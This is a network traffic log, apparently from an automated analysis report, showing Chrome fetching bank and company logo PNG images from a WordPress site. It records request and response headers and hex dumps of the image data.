2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 21 c4 f9 81 23 2e 19 60 f2 04 17 43 a3 f0 eb d4 7a a8 d5 e1 c4 ad 89 02 71 f5 42 1a 80 00 27 04 ce 4a 08 0a 65 60 63 ef 7a ac 2b 8e 95 13 37 27 84 39 ee 09 60 f5 8a 18 ba 07 61 14 38 7d 32 7a b2 be cf d2 33 8c 45 1c 03 fe b1 78 d5 6c 18 b0 c9 86 7b f5 7b 63 99 4f 84 64 1c 4e 3b fa c0 b8 39 b6 cf c6 dd 66 ba 26 42 46 44 ac 49 89 85 11 db 6a 08 61 33 e0 3f d2 02 7f 7b 6a 15 6a 90 d9 2e 4b 0c 40 11 69 4e c5 d0 53 74 71 72 40 d0 01 07 d8 81 1b 78 94 07 07 ae 80 07 b4 ae 85 9b a6 40 ba 56 1e d4 c4 27 26 da d9 72 15 31 b7 45 6a 9e d8 44 2d 00 8c 98 75 20 c4 d1 11 cf 2c 3e e9 29 ba ad 46 e3 2e 32 c6 76 ff 88 19 51 24 c7 13 c7 98 7f fd 3e a5 bd b9 e7 48 cc ec 49 29 8f 80 bb 8f 5d e6 3f d7 1e 17 f0 eb f7 ef df bf 31 99 04 90 05 cf e1 ee 01 20 f3 65 21 08 80 a3 3c Data Ascii: !#.`CzqB'Je`cz+7'9`a8}2z3Exl{{cOdN;9f&BFDIja3?{jj.K@iNStqr@x@V'&r1EjD-u ,>)F.2vQ$>HI)]?1 e!<
2024-04-11 21:26:49 UTC	153	IN	Data Raw: 37 0f 7e dc 67 00 4a 5c 2a 80 a5 d8 95 39 35 73 e2 ce 89 68 f4 de cf a2 8e 63 a0 ea bb 73 22 40 b9 07 f3 d6 a5 f3 7e ba 33 61 35 9e 39 9f 02 e7 39 ce 9f 98 77 2a 8f a1 6b cf e3 34 46 6f 57 57 cb 67 f3 e0 f7 80 02 73 ed 06 4e 0a 80 97 54 72 1e 01 de 39 8d d1 6f f5 6a fc e8 40 7e 96 83 d6 9a 63 e0 ad 0d 63 9c 03 eb 25 2b 4e c9 e6 37 dd 33 c6 e1 fe fc c6 eb 62 90 66 e2 3d f6 3f 39 ef b1 57 7c ff 0f 83 d5 db 46 29 6c 13 4b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 7~gJ\95shcs"@~3a599wk4FoWWgsNTr9oj@~cc%+N73bf=?9W\|F)lKIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.17	49896	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1104	OUT	GET /wp-content/uploads/TELSTRA.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 7900 Connection: close CF-Ray: 872e0e9baa06c3ee-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3301-1edc" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:41 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B1V1hTCVb5gqyyXN%2BPLTxCcDesM1ZZ77dY7eX%2Fqdxw3vHwxXUSBAsseOt7FG4Wuy%2FbnTxcPMJNpuURSJrasJrZH5MdGgXt%2FrDdAXxgGO60KwI7pKo2tit3D4fndKqxefc1U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c2 00 00 00 34 08 06 00 00 00 d8 2a e7 35 00 00 1e a3 49 44 41 54 78 da ec 9a e5 ab 55 4d 14 c6 ef 1f e1 07 f1 8b 22 76 77 77 77 77 60 21 06 2a d8 8d 85 62 bc 0a 06 2a 62 b7 62 b7 88 1d 08 8a 08 36 62 77 77 c7 7a f9 2d 78 60 bb cf 39 70 8f 70 b6 1f ee 59 30 ec 7d e7 cc 9e 59 b3 e2 59 6b cd dc 0c 4b 53 9a d2 64 19 96 a6 34 a5 29 f3 8e f0 f3 e7 4f fb f4 e9 93 89 de bf 7f 6f a2 1f 3f 7e d8 ef df bf 53 da 58 ff f3 e7 cf f6 eb d7 2f fb f2 e5 8b fd 2b 82 87 af 5f bf 1a 04 2f df bf 7f 37 48 7d f0 09 bd 7b f7 ce 20 7e 8f 82 58 97 96 88 a4 a7 e0 78 f5 f1 9e d5 29 a9 88 80 23 e0 00 df be 7d fb c3 21 9e 3d 7b 66 8f 1e 3d 4a 69 fb f0 e1 83 3f 6f dc b8 61 af 5e bd 8a 71 d0 a8 89 35 91 83 9c 54 f4 f6 ed 5b 7e 53 Data Ascii: PNGIHDR45IDATxUM"vwwww`!b*bb6bwwz-x`9ppY0}YYkKSd4)Oo?~SX/+_/7H}{ ~Xx)#}!={f=Ji?oa^q5T[~S
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 37 63 74 7a 32 0f 67 f7 9c 82 84 9d 20 2e ba 83 52 1c 15 9e 3a 75 8a 39 fc de 61 db b6 6d 5e 3c 9e 3d 7b 96 53 12 cd 11 17 4d f5 ae 31 92 c1 fc f9 f3 c9 b9 85 ae 44 03 de b5 27 52 26 8a 4f 14 ad 6f 65 b8 ce a7 48 37 cf 4f 9e 3c b1 9b 37 6f 72 02 e7 fb 5c b1 62 05 cd d3 95 03 07 0e c0 bf 1b f4 d3 a7 4f 1d b5 83 24 fd 40 7a 32 1f 7c 33 96 7d 13 61 01 12 f8 93 ec e9 e3 1d 87 98 38 71 22 06 2a 43 e1 1d de 99 2f 9c 11 c4 3c 25 73 c9 46 fb d3 ef d7 af 5f f7 3d 6c dd ba d5 56 ad 5a c5 5e f4 8d 88 b5 62 e4 cf 85 e9 a1 43 87 b0 25 b7 a9 3d 7b f6 d8 b1 63 c7 d0 3d 72 0c 8f d7 ba cc 2d 5e 78 2a da 24 9f 1a 85 99 52 b8 0b 23 a4 c6 e9 09 73 12 9c fa f4 1d cc 77 ed da 15 03 d1 11 28 28 85 22 40 54 14 83 13 80 50 84 e8 18 c4 0e f3 16 54 ce cb 97 2f 83 fd 08 05 83 f2 02 Data Ascii: 7ctz2g .R:u9am^<={SM1D'R&OoeH7O<7or\bO$@z2\|3}a8q"C/<%sF_=lVZ^bC%={c=r-^x$R#sw(("@TPT/
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: f3 c7 1f 7f 20 48 40 4b 92 16 2f d7 f6 54 ff 00 51 02 cc e7 a4 39 c9 ac 2d a5 11 d3 ec f0 dc 82 07 68 41 22 37 61 49 6f 47 cf c5 04 57 12 b5 7e e7 27 bc 79 f3 c6 7d fa 30 43 c9 d9 ec f9 19 a4 dc 55 d6 fa de bd 7b 85 97 d3 0a 45 d0 48 3e 7d 65 92 30 57 68 b0 e8 45 28 61 66 ed 19 bf 71 d9 8d df 31 8d e3 7e 9f f5 c1 67 4c ed 19 cc 0b f3 97 39 94 60 a4 ed d1 51 7f f4 43 df 62 56 fd 67 d3 73 ba d1 52 1f 01 43 bb 7e 73 ce 7d 42 ed 53 b3 2b 48 64 f3 03 01 66 2e 57 14 d8 cc 69 9a 2c 50 a4 1d 5c 97 26 9b 42 cd 35 99 a8 fa 0b 88 b3 34 fe e6 1a a1 8d c7 8f f1 11 07 a3 1f d9 49 a9 a7 4f 9f 7e 7d f9 f2 25 09 95 b9 50 56 33 26 32 08 cc 93 84 a3 5a 63 a0 1d 12 db fe 0a 75 a7 5d 93 8e 00 26 1a e1 8b 8f 9b 0c 4c 89 51 64 78 55 c8 72 00 39 5a 26 8d d4 d4 27 44 6b 2f 7f e1 Data Ascii: H@K/TQ9-hA"7aIoGW~'y}0CU{EH>}e0WhE(afq1~gL9`QCbVgsRC~s}BS+Hdf.Wi,P\&B54IO~}%PV3&2Zcu]&LQdxUr9Z&'Dk/
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: a2 65 d7 2e 73 8f 99 a1 1d d1 b8 2d 29 f7 c6 e4 c9 8c 29 7a a6 cd 32 ec da e4 f8 a7 3d a6 06 ab 34 24 70 61 6c 12 da 7d 25 41 63 bc e6 d2 ef 9e 27 ba 84 77 76 52 b5 73 9e c5 0f 91 63 70 6f 20 0d 4c 25 24 2d 81 9d f9 a8 9d 4b 62 b2 03 82 71 45 c3 7c 85 f2 52 4c cd d9 c6 61 20 ec 4a 41 e9 6b b9 81 80 80 59 cf 02 21 3f 02 ea 31 12 b4 a6 a6 74 b4 c8 4e 0e aa a3 c9 a1 6d a0 57 c7 0d 7a 6b 84 16 9b 70 56 63 c6 9c 34 44 8c 21 3b 9f 03 1b 33 79 56 cc 87 d1 30 de 94 ea f6 92 44 ce 05 84 09 4a 84 35 49 3d a7 31 44 7c fd 22 00 6c bb 4c 84 99 55 e9 b6 36 2a 42 9c 26 52 f4 70 be bd a4 52 cf 02 26 d7 4b a6 89 ed b7 55 38 d8 26 31 08 ec f5 2d 5b 3e 1f 45 1f 68 ee ee 5d 75 4b 33 a9 a9 e4 01 10 b5 31 4b 64 72 88 01 02 43 9a f7 ee 8b 87 04 1c b4 59 91 9d a5 ab e6 81 66 8d Data Ascii: e.s-))z2=4$pal}%Ac'wvRscpo L%$-KbqE\|RLa JAkY!?1tNmWzkpVc4D!;3yV0DJ5I=1D\|"lLU6*B&RpR&KU8&1-[>Eh]uK31KdrCYf
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 40 9a 91 0e 63 51 f7 53 16 dc b1 72 74 7e 0e 49 2b 1c 9c 09 36 01 0b a4 c6 07 08 e8 d6 9e 86 30 4e be 09 13 82 90 98 40 60 5a 12 08 fa a6 8d 59 d5 99 49 6a ec 98 87 af 82 01 1d 99 89 1b 08 72 30 cc be ee 6f ec f9 66 8a 18 e5 6b 8e 3a a5 9e 81 16 c0 d5 7a 88 fc 39 fd c9 87 71 8e 60 51 ed 6b 2e cd 89 88 21 9a d9 09 d7 fa 82 0e f5 cf 5c 68 3b 47 39 be f9 e1 15 6a 7b 8d 2d a7 cc c4 9e 03 c2 2c ad 30 c8 39 19 d9 98 d9 ba 80 80 98 a4 a4 7b 98 55 85 69 81 81 56 00 28 a6 4e 7d 23 51 10 72 3a c7 08 01 08 24 14 e9 82 10 26 5c 7f d9 f6 d4 3b c9 86 90 18 b6 e2 ba 24 4b d2 d6 84 ab 65 b1 90 68 9a 38 6c cd 92 6c 49 b1 f6 aa 22 9d cf f9 9c b6 6c 0b 64 4c ba 67 d8 4b 46 91 a6 6c 79 8b 69 a6 79 86 d6 8a 05 33 21 7a 95 26 00 54 a4 a8 4a 56 e4 04 88 aa 16 6e 37 6e 34 88 f1 Data Ascii: @cQSrt~I+60N@`ZYIjr0ofk:z9q`Qk.!\h;G9j{-,09{UiV(N}#Qr:$&\;$Keh8llI"ldLgKFlyiy3!z&TJVn7n4
2024-04-11 21:26:49 UTC	1055	IN	Data Raw: b5 c9 42 5b 54 5d 26 8e b8 3c 49 81 91 7d ee 8d 17 c2 8b 3e 63 72 13 e4 5a f7 b9 8e 04 c3 f0 01 c1 fd 3e bb 36 90 29 a2 12 4e dd d1 89 99 fc c3 6c ae 61 d7 7b b6 dd 67 e7 fc 26 17 d1 64 6c 70 5f 27 35 5c 8f 91 33 1d e6 79 84 de 2b fb 76 bb 7b 12 80 46 9d 3c 6d 24 7f 61 a7 ed 1c 99 3d 80 6d e2 85 46 3d 77 9b 3f b3 cd dd 8f 1c de fd 02 b0 f2 30 ca 13 80 db 51 4e a5 d7 26 7e ef 8f 46 4e be 8d a3 1a a0 15 76 3f 07 84 fd 76 90 9e a3 34 c5 fc 88 f2 31 87 45 0d bd dd 42 5f 4f 59 25 f5 a7 7f 02 aa 6d 7c a9 fd 7e 9b c9 b4 db 05 42 6a b3 a2 3c 8c 06 08 18 d5 de 9a 85 24 7a 83 6a 9d 02 30 d0 00 3e 07 08 f7 e4 20 db 03 42 ce 33 c0 f0 1d 48 72 d7 92 56 11 1d a3 18 ec 0d 37 c4 2b f4 78 0a e8 a7 b2 cf 11 da c4 c5 1c 47 fe ff c0 75 fa 3c 27 ff 64 db b5 3b 5f 60 50 5f 5a Data Ascii: B[T]&<I}>crZ>6)Nla{g&dlp_'5\3y+v{F<m$a=mF=w?0QN&~FNv?v41EB_OY%m\|~Bj<$zj0> B3HrV7+xGu<'d;_`P_Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.17	49897	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	873	OUT	GET /wp-content/uploads/Deutsche-Bank.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 6410 Connection: close CF-Ray: 872e0e9bb92d8c7d-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-190a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ed%2F2w4NBmDwNfFS7Km%2FIkfev76hgyGXlSjXrb5%2FR7pK9O%2FmKDSNI2Y6tVqQgNRzglTm9oBhbRHTutd03plMOKvjjC3cT2sPF6ZuFrZef9dqJN2XP%2FjsASSL9s%2F3KO4lUWsw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	460	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 50 08 06 00 00 00 b9 f3 ff dc 00 00 18 d1 49 44 41 54 78 da ec 9c 47 8b 15 5d 10 86 fd 0d ae c4 8c 39 3b e6 9c 73 ce 09 41 11 41 50 d1 85 20 ba 10 04 03 a2 82 59 74 21 e6 2c 46 10 c4 95 11 74 27 ba 30 e7 c9 33 4c ce a9 3e 9e c2 82 b6 fb 72 3f 61 bc 77 46 a6 0a 0e dd b7 f3 e2 e9 ba ef 79 eb 9c 6e 26 1e ff 54 d4 d4 d4 68 ab ab ab 93 da da 5a 5d 6f ca d1 4c 3c 2c 14 0a 5b 56 56 56 4a 75 75 b5 34 86 28 2b 2b 93 f2 f2 72 05 d6 c3 01 8e 44 41 41 81 94 96 96 2a 20 41 98 1b 6b f0 6c 55 55 55 e2 e1 00 13 64 da 70 c6 0b ef 6f d0 c6 8b 95 9d 9d ad 2f d9 af 20 23 3b c4 0e b0 86 ca 05 e2 fd fb f7 b2 77 ef 5e 59 b1 62 85 ac 5b b7 4e 36 6f de 2c 6b d7 ae 95 4d 9b 36 35 68 5b bf 7e bd 6c dc b8 51 ae 5e Data Ascii: PNGIHDRPIDATxG]9;sAAP Yt!,Ft'03L>r?awFyn&ThZ]oL<,[VVVJuu4(++rDAA* AklUUUdpo/ #;w^Yb[N6o,kM65h[~lQ^
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: ae 2c 5b b6 4c 86 0d 1b 06 4c 80 07 50 34 85 6e e0 c0 81 c0 a4 fb c7 8e 1d 0b c4 6c 03 c0 b8 6d d4 a8 51 32 62 c4 08 ce 53 20 07 0f 1e cc 92 df 6c e7 da dc 8f 97 86 eb 03 2e d7 e7 be 2c 69 9a c5 2f 5c b8 10 76 4b 1a 8d 53 12 2b 1c e0 24 05 7f c3 c0 90 91 91 21 8b 16 2d 02 30 03 14 b8 90 0c 6c 43 4e e8 df 79 ff fe fd 01 57 81 eb d5 ab 97 f4 eb d7 2f 6e e3 5c c0 a4 71 1e 8d 75 6b 5c 8f e3 b8 f6 80 01 03 64 ca 94 29 6c e7 19 c8 dc 3c 87 ca 8b 8b 17 2f da f3 3a c0 0e 70 d4 9a 4a 4f 4f 47 42 00 0f 59 93 a6 f0 6d d9 b2 45 6e de bc 29 b7 6e dd 92 1b 37 6e c8 9d 3b 77 74 79 ef de 3d b6 b3 1e b7 5d be 7c 59 ae 5c b9 42 27 8c c6 ba c2 78 ee dc 39 39 73 e6 8c dc bf 7f 5f 6e df be 2d d7 af 5f 97 bb 77 ef ca b5 6b d7 64 f6 ec d9 bf 65 e8 8e 1d 3b 72 2c 8f 8a fb e0 1a Data Ascii: ,[LLP4nlmQ2bS l.,i/\vKS+$!-0lCNyW/n\quk\d)l</:pJOOGBYmEn)n7n;wty=]\|Y\B'x99s_n-_wkde;r,
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 8c 0a bc e1 73 82 be ae 55 db d8 e7 9d 38 07 d8 a2 61 01 3e 7f fe 3c 90 86 47 a4 c5 f2 72 6d dd 8e f7 0c ec 00 27 2f f8 b6 03 16 18 d0 32 10 c7 be 16 c9 17 71 de be 7d ab fb bf 7c f9 c2 6c 0a 3a 73 ba fc f0 e1 03 cb 7a 35 ae f5 f1 e3 47 0a 23 0c b7 e4 5b 69 cc 64 66 4e 1c ae 06 e3 2a 78 26 3e b0 62 b0 fb a7 a5 1c e0 68 00 10 00 db c7 46 00 98 69 40 29 ff b1 77 2f 2b 52 24 51 18 80 67 e7 42 c4 1b 2a 82 1b df 40 5f c5 a5 a8 88 20 88 88 a0 22 82 e0 c2 8d 3b 1f 40 c5 b5 1b d1 85 e2 c6 56 10 c4 86 be 37 34 fd 10 0d 0d fd 06 39 7c c1 fc 90 64 d6 14 cd d4 18 4d d9 71 20 c8 ac ac cc 88 c8 13 7f 9c b8 64 9c 3f 2e 5d 32 4d 66 6d af 75 be ae 85 7a d5 7d 3e 64 cc 14 b2 7e c2 0a 36 ec 98 8e 80 eb a3 88 ff 4c d3 59 6b 81 1b 6d 20 8d 9d b2 6b 92 26 1f 87 03 7e 60 60 d1 Data Ascii: sU8a><Grm'/2q}\|l:sz5G#[idfNx&>bhFi@)w/+R$QgB@_ ";@V749\|dMq d?.]2Mfmuz}>d~6LYkm k&~``
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 6f a3 ff a7 60 71 25 de 21 a0 12 07 c2 11 ef ed d9 89 9e 12 0f 1e 3c d0 85 50 81 0a 68 52 21 d7 d7 d7 bb d5 d5 d5 e4 35 6c ed 49 d3 b1 80 3b bb d4 6f 6c 6c e0 a7 08 60 02 f4 a9 1f 22 18 14 de cb 00 7a e3 c6 0d 0c 43 a3 41 9c 4a 15 5a 00 e5 a4 a5 4a da 91 e4 59 f7 4b 48 0b 36 48 6f d8 fd 88 be dc 6f 3f 10 c7 a1 7e b8 45 49 1f 65 00 df be 11 45 17 09 71 0c 1d ff af 16 98 c2 51 2e 69 02 58 57 f4 a1 01 55 6a 0f 30 f0 e8 4d 73 85 ad 31 0a 0c 08 0d 74 9e 3c 79 82 b8 83 d7 2d 4a fe c2 f2 f8 eb d7 af 80 27 1f 04 ec 35 ec 3e d6 42 a7 3f 96 90 72 fc 67 ff 09 a0 01 44 20 13 af 1a ce c3 57 dc bc 8a 3d 1b 96 74 f7 94 82 7e fa f4 a9 3d 2d 10 87 14 af e2 fb f7 ef 77 3f 7e fc e8 62 49 32 18 4c 01 6d 6e 6e da a8 85 67 30 0e 07 2d 11 a6 9e 0c d4 52 00 ba 4e fa bf e2 2d 4d Data Ascii: o`q%!<PhR!5lI;oll`"zCAJZJYKH6Hoo?~EIeEqQ.iXWUj0Ms1t<y-J'5>B?rgD W=t~=-w?~bI2Lmnng0-RN-M
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: c9 52 8f 9f 03 ea 29 73 0a e7 1d f3 63 a9 8b e3 60 85 ec 01 98 43 d2 0f 19 1c 23 2a a8 97 38 07 2c 8c eb 89 85 11 09 db ac 26 85 c0 a2 e8 9f 82 78 e0 dc 21 50 9c b8 11 48 85 0c c1 80 ca 15 ba 6e 56 47 f8 f2 3b 6c 28 64 61 5e 40 c4 44 c0 12 88 30 a2 f0 c2 c3 03 44 d5 ae d0 cd c3 29 16 4b c4 e8 42 2f c6 22 27 70 36 ca b7 b4 92 e4 a3 5e 1c 46 de 65 7f e9 0a 06 34 4a 1f ba e3 8e 47 c8 c6 ca ad 39 10 f7 bd 87 d2 1a f9 1d 23 09 d1 f6 57 4c 55 a8 59 1b 87 10 92 eb 48 28 38 ad c1 cb 5c 72 f8 ea 83 2e 16 d1 81 cf 85 f4 b9 95 d8 30 1f dd d6 85 00 22 23 79 8b 4e d2 08 76 b1 76 5d 89 b1 a0 94 72 f9 bc 5c 76 7f 7f bf b6 9c f9 b1 a9 62 d3 31 c0 8f 81 c9 2c 45 a1 db e4 e2 ec cd 23 e2 7a c0 79 3a 85 03 d8 a0 07 ff 7b 39 b7 e8 d5 7a c6 f6 de ea 2e 64 50 44 39 a9 10 64 92 Data Ascii: R)sc`C#*8,&x!PHnVG;l(da^@D0D)KB/"'p6^Fe4JG9#WLUYH(8\r.0"#yNvv]r\vb1,E#zy:{9z.dPD9d
2024-04-11 21:26:49 UTC	474	IN	Data Raw: ce 20 58 4f 98 b7 50 e9 85 cb 9c 42 50 c5 60 c3 ad 4d 01 a3 bb 94 93 01 a3 9a 8b 2c 58 42 6e 47 09 2d 16 8b 03 38 c5 ca 51 c7 90 88 41 84 52 f9 bc f3 01 13 66 d4 c7 1c 19 2d b9 63 28 32 62 09 ed 39 4c 8b 4d 5a 6b 85 90 42 cb ba c8 eb 4a 18 99 62 19 8e a1 28 53 34 62 57 e9 80 b0 9e 91 b0 94 b6 9f e3 b1 b4 b9 e8 d4 dc e5 f1 64 62 87 79 f8 4c 7f 16 ab 9a db 4b a4 f0 9e ac 48 83 73 da a6 28 54 10 37 c8 91 43 f8 ee 88 88 06 e0 f4 e7 3d 5b 48 09 e8 5a 6e 2d 5f ae ab 42 3e e0 16 41 30 30 00 e7 90 9c db 5a 44 5d ce 4b 07 a2 92 d4 12 6e 9c db b6 6c ce a6 8e 51 f7 d0 0f d2 21 57 0e fb d7 00 8e 15 7b fe d9 7c 6b d1 8c 3f 6e 47 ff 09 18 b8 fa 8c e2 18 59 ae 36 8f f1 5c cd a5 85 24 a7 ee 7d 23 c6 cc 90 0d 0a 05 30 c7 e4 4c f3 71 14 6b 1f e7 ec 73 ac d8 08 2c 19 86 52 Data Ascii: XOPBP`M,XBnG-8QARf-c(2b9LMZkBJb(S4bWdbyLKHs(T7C=[HZn-_B>A00ZD]KnlQ!W{\|k?nGY6\$}#0Lqks,R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.17	49898	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1108	OUT	GET /wp-content/uploads/LLOYDS-BANK.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	901	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 4801 Connection: close CF-Ray: 872e0e9c0bb84337-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f0-12c1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:24 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OE%2FBchglbDOTRB6guQHeljzrYEMQObFivIZSmnz1V4uTXvH3L43XUC9hvi8JGsAWxZI8y7Cec%2BxaYUd4NI34bRnPB1r98KdrR4UGqsQ2RQhShKC3cYL1H8G0vsRVINi8tsw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c2 00 00 00 31 08 06 00 00 00 88 e7 76 86 00 00 12 88 49 44 41 54 78 da ec 5a 59 48 56 5b 14 36 2a 8a a2 89 e6 99 68 20 1a 28 22 2a 82 8a a0 20 1a a1 7a 88 88 4b 34 11 15 41 f3 08 d1 f0 92 13 2a 22 8a 03 8a 8a 0a 0e 0f a2 28 2a ea 83 22 a2 3e 38 0f 88 a0 22 8a 13 ce b3 df e5 5b b0 e0 b0 f9 e5 06 f7 f7 de 8c fd c1 e6 9c b3 cf de fb ec 73 ce fa d6 5e c3 f6 80 85 85 9b 31 3d 3d fd af ca ff 01 0f 58 58 58 22 58 22 58 58 22 58 22 58 58 22 58 22 58 58 22 58 22 58 cc 22 26 27 27 41 0c 0c 0c a0 af af 0f 53 53 53 20 92 92 92 10 1f 1f 8f 91 91 11 98 98 98 98 80 1e 4d 58 22 58 fc 31 e8 ec ec c4 ab 57 af b0 6d db 36 78 7b 7b cb 79 5d 5d 9d 12 47 56 82 e1 e1 61 b8 80 25 82 c5 dc 06 35 bf 1e 07 07 07 11 1d 1d 8d Data Ascii: PNGIHDR1vIDATxZYHV[6h (" zK4A"(">8"[s^1==XXX"X"XX"X"XX"X"XX"X"X"&''ASSS MX"X1Wm6x{{y]]GVa%5
